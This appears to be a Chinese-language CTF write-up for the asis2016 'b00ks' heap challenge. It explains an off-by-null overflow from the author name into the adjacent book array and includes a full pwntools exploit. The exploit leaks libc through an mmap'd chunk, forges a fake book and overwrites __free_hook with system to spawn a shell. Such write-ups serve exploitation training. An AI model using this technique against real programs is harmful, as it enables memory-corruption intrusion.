[堆入门off-by-null]asis2016_b00ks 前言 由于这个题在堆利用里面过于经典了,网上wp千千万,我这里就不再细讲其中的利用方法了,只是说一点细节的东西,这里推几个我看的师傅的文章,下面的内存大部分都是基于Tokameine师傅的wp的。
堆中的 Off-By-One - CTF Wiki (ctf-wiki.org)
[(17条消息) 堆入门off-by-null]asis2016_b00ks_Nashi_Ko的博客-CSDN博客
[(17条消息) Asis CTF 2016] b00ks —— Off-By-One笔记与思考_Tokameine的博客-CSDN博客
free_hook劫持https://lantern.cool/note-pwn-free-hook/#%E4%BE%8B%E5%AD%90
小细节 为了能更好的理解后面的内容建议先看完其他师傅的博客,这里先贴一下我本地打通的wp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from pwn import *import pwnliblibc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) elf = ELF('./b00ks' ) p = process('./b00ks' ) context.log_level="info" def init (): p.recvline() p.recvuntil(': ' ) p.sendline('A' *32 ) def create (name_size, name, desc_size, desc ): global p p.recvuntil('> ' ) p.sendline('1' ) p.recvuntil(': ' ) p.sendline(str (name_size)) p.recvuntil(': ' ) p.sendline(name) p.recvuntil(': ' ) p.sendline(str (desc_size)) p.recvuntil(': ' ) p.sendline(desc) def delete (book_id ): global p p.recvuntil('> ' ) p.sendline('2' ) p.recvuntil(': ' ) p.sendline(str (book_id)) def edit (book_id, desc ): global p p.recvuntil('> ' ) p.sendline('3' ) p.recvuntil(': ' ) p.sendline(str (book_id)) p.recvuntil(': ' ) p.sendline(desc) def printf (): global p p.recvuntil('> ' ) p.sendline('4' ) def change_author (author ): global p p.recvuntil('> ' ) p.sendline('5' ) p.recvuntil(': ' ) p.sendline(author) def debug (): gdb.attach(p) pause() init() create(0x40 , 'a' , 0x20 , 'b' ) create(0x21000 , 'c' , 0x21000 , 'd' ) printf() p.recvuntil('ID: 1' ) p.recvuntil('A' *32 ) book1_addr = u64(p.recv(6 ).ljust(8 , '\x00' )) print ("book1_addr:" +hex (book1_addr))edit(1 , p64(1 )+p64(book1_addr+0x38 )+p64(book1_addr+0x38 )+p64(0xffff )) change_author('A' *32 ) printf() p.recvuntil('ID: 1' ) p.recvuntil('Name: ' ) book2_addr = u64(p.recv(6 ).ljust(8 , '\x00' )) print ("book2_addr:" +hex (book2_addr))libc_base = book2_addr + (0x7f739b39f000 - 0x7f739b37d010 ) print ('libc base:' + hex (libc_base))free_hook = libc.sym['__free_hook' ] + libc_base system = libc.symbols['system' ] + libc_base binsh_addr = libc.search('/bin/sh' ).next () + libc_base print ("free_hook = " + hex (free_hook))print ("system = " + hex (system))print ("binsh_addr= " + hex (binsh_addr))payload = p64(binsh_addr) + p64(free_hook) edit(1 , payload) payload = p64(system) edit(2 , payload) debug() delete(2 ) p.interactive()
0x00漏洞原理 大概的漏洞原理无非就是没有控制好输入,存在栅栏错误,或者字符串操作错误,导致溢出了一个字节,覆盖了内存的下一个字节。
这个题漏洞的主要构成原理就是输入的作者姓名和那本书存放的数组都是存放在bss段的,而且相邻,如果溢出了姓名就会导致覆盖到第一本书籍的存放位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 .bss:000055 DFF7802040 name db ? ; ; DATA XREF: .data:author_name↑o .bss:000055 DFF7802041 db ? ; .bss:000055 DFF7802042 db ? ; .bss:000055 DFF7802043 db ? ; .bss:000055 DFF7802044 db ? ; .bss:000055 DFF7802045 db ? ; .bss:000055 DFF7802046 db ? ; .bss:000055 DFF7802047 db ? ; .bss:000055 DFF7802048 db ? ; .bss:000055 DFF7802049 db ? ; .bss:000055 DFF780204A db ? ; .bss:000055 DFF780204B db ? ; .bss:000055 DFF780204C db ? ; .bss:000055 DFF780204D db ? ; .bss:000055 DFF780204E db ? ; .bss:000055 DFF780204F db ? ; .bss:000055 DFF7802050 db ? ; .bss:000055 DFF7802051 db ? ; .bss:000055 DFF7802052 db ? ; .bss:000055 DFF7802053 db ? ; .bss:000055 DFF7802054 db ? ; .bss:000055 DFF7802055 db ? ; .bss:000055 DFF7802056 db ? ; .bss:000055 DFF7802057 db ? ; .bss:000055 DFF7802058 db ? ; .bss:000055 DFF7802059 db ? ; .bss:000055 DFF780205A db ? ; .bss:000055 DFF780205B db ? ; .bss:000055 DFF780205C db ? ; .bss:000055 DFF780205D db ? ; .bss:000055 DFF780205E db ? ; .bss:000055 DFF780205F db ? ; .bss:000055 DFF7802060 bOOks db ? ; ; DATA XREF: .data:BOOKS↑o
0x01获取libc地址的方法 因为我们需要劫持__free_hook函数来get shell,于是需要获得libc的基地址,这里用到一个小技巧,通过mmap分配的堆块与libc存在某种固定的偏移关系,当需分配的堆块大于等于0x21000时,会用mmap来分配堆块,只需要泄露分配的堆块的地址减去gdb调试时调试出来的libc基地址就可以得到相对的偏移。
0x02伪造fake book 因为我们可以对书的描述部分进行编辑,也可以通过在创建书籍后修改作者姓名造成off-by-null来改写第一本书的地址,地址后缀改为了00结尾,于是我们在结尾为00前面和第一本书的地址相同的地方伪造fake book。
修改作者姓名后
0x03gdb调试的方法 我刚开始调试那个文件的时候发现b main
无法使用,这是由于程序经过了strip处理,没有debug信息,但是b __libc_start_main 函数是可以定位到的,而且libc_start_main函数的第一个参数就是main函数的地址,因此通过定位 __libc_start_main 函数,然后获得第一个参数的内容,此时就是main函数的地址。由于64位传参顺序为rdi,rsi,rdx,rcx,r8,r9 于是只需要在 b *$rdi 即可在main函数下断点。
具体原理可以看这篇博客gdb无法找到main | PCB Blog (binpang.me)
0x04为什么不能劫持free函数 这个问题有点小白,但是确实是我当时想到的问题,为什么不直接劫持free函数,来getshell ,后来查看相关的资料才知道原因
因为__malloc_hook,__realloc_hook,和__free_hook函数都是函数指针变量,属于一个变量,是属于可以更改的范围,页的设置也是可写的,但是free函数就不是,在libc里面free函数也是在不能修改的页中的。
用vmmap查看该页的属性,发现该页是可以写的。
劫持__free_hook函数为system函数后,将第二本书的地址修改为/bin/sh字符串的地址,在释放第二本书的name的时候就能getshell。
0x05问题 网上流传的很广的另一个wp是通过hook函数为one_gadget,但是不知道为什么我的one_gadget不能用,貌似我的one_gadget的约束条件没有满足。